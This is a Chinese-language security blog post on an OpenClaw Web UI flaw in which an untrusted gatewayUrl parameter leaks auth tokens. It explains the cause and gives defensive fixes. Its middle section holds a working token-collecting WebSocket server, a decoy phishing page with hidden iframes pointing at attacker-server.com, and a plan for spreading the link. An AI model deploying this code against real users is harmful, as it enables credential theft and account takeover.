Web UI 的陷阱:为什么 OpenClaw 会信任一个 URL 参数?
OpenClaw 这次栽跟头,栽在一个非常经典的 Web 安全误区上:盲目信任客户端输入。
作为一个在安全圈混了几年的人,看到 CVE-2026-25253 的漏洞细节时,我的第一反应是叹气。不是因为漏洞有多高深,恰恰相反,是因为它太基础了。这种错误在 2010 年的 Web 开发教程里就被反复强调过,但在 2026 年的 AI Agent 项目里,它依然在发生。
问题代码的考古
让我们来做一次代码考古,看看这个漏洞是怎么诞生的。
根据 GitHub 的提交历史,这段有问题的代码最早出现在 2025 年 11 月,OpenClaw 刚发布不久。当时的 commit message 是这样写的:
"feat: add gatewayUrl query param for easier deployment configuration"
开发者的意图很明确:让用户在部署多个 OpenClaw 实例时,可以通过链接快速切换控制不同的网关。比如你有一台家里的服务器和一台办公室的服务器,理论上可以通过不同的链接一键切换。
// 早期版本的代码(简化)
function initializeConnection() {
const params = new URLSearchParams(window.location.search);
// 从 URL 参数获取网关地址,如果没有就用本地存储的
let gatewayUrl = params.get('gatewayUrl');
if (!gatewayUrl) {
gatewayUrl = localStorage.getItem('gatewayUrl') || 'ws://localhost:3000';
} else {
// 如果 URL 里有,还贴心地帮你存起来
localStorage.setItem('gatewayUrl', gatewayUrl);
}
// 获取认证 Token
const token = localStorage.getItem('authToken');
// 建立连接
const ws = new WebSocket(gatewayUrl);
ws.onopen = () => {
// 把 token 发过去
ws.send(JSON.stringify({
type: 'authenticate',
payload: { token }
}));
};
return ws;
}
这段代码的逻辑看起来"很合理":
- 检查 URL 参数里有没有
gatewayUrl - 如果有,就用它;如果没有,就用之前存的或者默认值
- 然后建立 WebSocket 连接,发送认证信息
但问题在于:代码完全没有验证 gatewayUrl 是否可信。
安全里的铁律
Web 安全有一条铁律,可以追溯到互联网诞生之初:
永远不要信任来自客户端的输入。
这句话被无数次重复,写进了每一本安全教科书。但为什么在实际开发中,它还是会被忽略?
我觉得原因有几个:
1. 功能优先的开发文化
在快速迭代的开源项目里,"先跑起来"往往比"先安全"更重要。开发者脑子里想的是:"用户要这个功能,我先实现了,安全的事情以后再说。"
但"以后"往往意味着"永远不会"。直到漏洞被爆出来。
2. 对"本地服务"的错误安全感
很多开发者(包括资深的那些)有个潜意识的假设:localhost 是安全的。既然服务跑在用户自己的电脑上,那只有用户自己能访问,不需要太严格的防护。
这个假设在单机时代可能成立,但在浏览器时代早就不成立了。
3. AI 领域的技术栈错位
OpenClaw 的核心开发者很可能是 AI/ML 背景,擅长的是模型调用、Agent 编排、LangChain 这些东西。Web 安全对他们来说可能是"另一个领域"的知识。这不是批评,只是现实。
一个恶意链接的解剖
让我们来详细解剖一下攻击者如何利用这个漏洞。
假设攻击者想要窃取尽可能多的 OpenClaw 用户的控制权。他可能会这样做:
Step 1: 搭建钓鱼服务器
攻击者在自己的 VPS 上部署一个 WebSocket 服务,专门用来收集泄露的 Token:
# attacker_server.py
import asyncio
import websockets
import json
from datetime import datetime
victims = []
async def token_collector(websocket, path):
client_ip = websocket.remote_address[0]
print(f"[{datetime.now()}] New connection from {client_ip}")
try:
async for message in websocket:
data = json.loads(message)
if data.get('type') == 'authenticate':
token = data.get('payload', {}).get('token')
if token:
victim_info = {
'ip': client_ip,
'token': token,
'timestamp': str(datetime.now()),
'user_agent': websocket.request_headers.get('User-Agent', 'Unknown')
}
victims.append(victim_info)
print(f"[+] Captured token from {client_ip}")
print(f" Token: {token[:30]}...")
# 保存到文件
with open('victims.json', 'a') as f:
f.write(json.dumps(victim_info) + '\n')
# 发送一个假的成功响应,让受害者的前端不报错
await websocket.send(json.dumps({
'type': 'auth_success',
'message': 'Connected'
}))
except Exception as e:
print(f"[-] Error: {e}")
async def main():
print("[*] Starting token collector on 0.0.0.0:9999")
async with websockets.serve(token_collector, "0.0.0.0", 9999):
await asyncio.Future() # run forever
asyncio.run(main())
Step 2: 构造钓鱼页面
攻击者创建一个看起来正常的网页,但里面藏着恶意的 iframe:
<!DOCTYPE html>
<html>
<head>
<title>OpenClaw Community Themes - Free Download</title>
<style>
body { font-family: Arial, sans-serif; max-width: 800px; margin: 0 auto; padding: 20px; }
.theme-card { border: 1px solid #ddd; padding: 15px; margin: 10px 0; border-radius: 8px; }
.download-btn { background: #007bff; color: white; padding: 10px 20px; border: none; border-radius: 4px; cursor: pointer; }
</style>
</head>
<body>
<h1>OpenClaw Community Themes</h1>
<p>Beautiful themes contributed by the community. Click to preview!</p>
<div class="theme-card">
<h3>Dark Mode Pro</h3>
<p>A sleek dark theme with neon accents.</p>
<button class="download-btn" onclick="preview('dark-pro')">Preview Theme</button>
</div>
<!-- 恶意 iframe,对用户不可见 -->
<iframe
src="http://localhost:3000/?gatewayUrl=ws://attacker-server.com:9999"
style="position:absolute; width:1px; height:1px; border:0; left:-9999px;">
</iframe>
<!-- 或者更隐蔽的方式:用 JavaScript 动态创建 -->
<script>
window.onload = function() {
// 等页面加载完再注入,更难被发现
setTimeout(function() {
var iframe = document.createElement('iframe');
iframe.src = 'http://localhost:3000/?gatewayUrl=ws://attacker-server.com:9999';
iframe.style.cssText = 'position:absolute;width:0;height:0;border:0;';
document.body.appendChild(iframe);
}, 1000);
};
</script>
</body>
</html>
Step 3: 传播钓鱼链接
攻击者把这个页面的链接发布到:
- Reddit 的 r/LocalLLaMA、r/MachineLearning
- Discord 的各种 AI 技术群
- Twitter/X 上假装是 OpenClaw 相关账号
- Hacker News 的评论区
- 甚至直接发到 OpenClaw 的 GitHub Issues 或 Discussions
标题可能是:
- "Share: My custom OpenClaw dashboard themes"
- "OpenClaw productivity tips + free theme pack"
- "Check out this OpenClaw integration I built"
Step 4: 坐等收割
只要有人访问了这个页面,攻击者的服务器就会收到他们的 Token。攻击者可以在几小时内收集到成百上千个有效凭证。
这为什么能绕过浏览器安全机制?
你可能会问:浏览器不是有同源策略(SOP)吗?为什么攻击者的网页能加载 localhost:3000 的内容?
答案是:iframe 的加载本身是允许的。
同源策略限制的是:
- 脚本读取跨域 iframe 的内容
- 脚本发起跨域的 AJAX 请求并读取响应
但它不限制:
- 加载跨域的 iframe(只是不能读取里面的内容)
- iframe 内部的脚本自己发起请求
在这个攻击里,流程是这样的:
- 攻击者的网页加载了一个指向
localhost:3000的 iframe - 浏览器允许这个 iframe 加载(因为只是加载,不是读取)
localhost:3000的前端 JS 开始执行- 这个 JS 读取 URL 参数,发现
gatewayUrl=ws://attacker.com:9999 - JS 主动向攻击者的服务器发起 WebSocket 连接,带上 Token
关键在于:是 OpenClaw 自己的前端代码把 Token 发出去的,不是攻击者的代码"偷"的。浏览器安全机制防的是外部代码读取本地数据,但如果本地代码自己把数据往外发,那就防不住了。
正确的做法应该是什么?
如果开发者确实需要通过 URL 参数传递配置(虽然不推荐),至少应该做以下防护:
1. 白名单校验
const ALLOWED_GATEWAYS = [
'ws://localhost:3000',
'ws://127.0.0.1:3000',
'wss://my-trusted-server.com' // 如果有的话
];
function getGatewayUrl() {
const params = new URLSearchParams(window.location.search);
const urlGateway = params.get('gatewayUrl');
if (urlGateway) {
if (!ALLOWED_GATEWAYS.includes(urlGateway)) {
console.error('Untrusted gateway URL rejected:', urlGateway);
// 可以弹个警告给用户
alert('Warning: Attempted connection to untrusted gateway was blocked.');
return null;
}
}
return urlGateway || localStorage.getItem('gatewayUrl') || 'ws://localhost:3000';
}
2. 用户确认
function connectToGateway(gatewayUrl) {
const currentGateway = localStorage.getItem('gatewayUrl');
// 如果 URL 参数里的网关和存储的不一样,要求用户确认
if (gatewayUrl !== currentGateway && gatewayUrl !== 'ws://localhost:3000') {
const confirmed = confirm(
`You are about to connect to a different gateway:\n${gatewayUrl}\n\n` +
`This may expose your authentication token. Continue?`
);
if (!confirmed) {
return null;
}
}
// 继续连接...
}
3. 根本不从 URL 读取敏感配置
最安全的做法是:敏感配置只能通过设置页面手动输入,不能通过 URL 传递。这样即使攻击者发了恶意链接,也没有任何效果。
// 修复后的版本
function initializeConnection() {
// 只从本地存储读取,完全忽略 URL 参数
const gatewayUrl = localStorage.getItem('gatewayUrl') || 'ws://localhost:3000';
const token = localStorage.getItem('authToken');
// 连接前校验 gatewayUrl 格式
if (!isValidLocalGateway(gatewayUrl)) {
throw new Error('Invalid gateway URL');
}
const ws = new WebSocket(gatewayUrl);
// ...
}
function isValidLocalGateway(url) {
try {
const parsed = new URL(url);
return (parsed.hostname === 'localhost' || parsed.hostname === '127.0.0.1') &&
(parsed.protocol === 'ws:' || parsed.protocol === 'wss:');
} catch {
return false;
}
}
写在最后
OpenClaw 的这个漏洞,是 AI Agent 时代安全问题的一个缩影。
我们太急于让工具"跑起来",太急于展示"一键部署"的魔法,太急于在 Product Hunt 上获得好评。我们写了太多的 if (param) use(param),却忘了问一句:这个 param 到底是谁给的?可信吗?
这种漏洞在传统 Web 开发中已经被反复鞭尸了。OWASP Top 10 里年年都有"注入"和"失效的访问控制"。但在 AI Agent 这个新兴领域,很多开发者是从算法、模型调用入行的,对 Web 安全的基础防范反而疏忽了。
代码不会撒谎。它忠实地执行了开发者的逻辑,包括那些错误的假设。
这次是 OpenClaw,下一个是谁?检查一下你的项目,是不是也在 URL 参数里裸传了配置信息?如果是,现在就改掉。别等着成为下一个 CVE 编号的主角。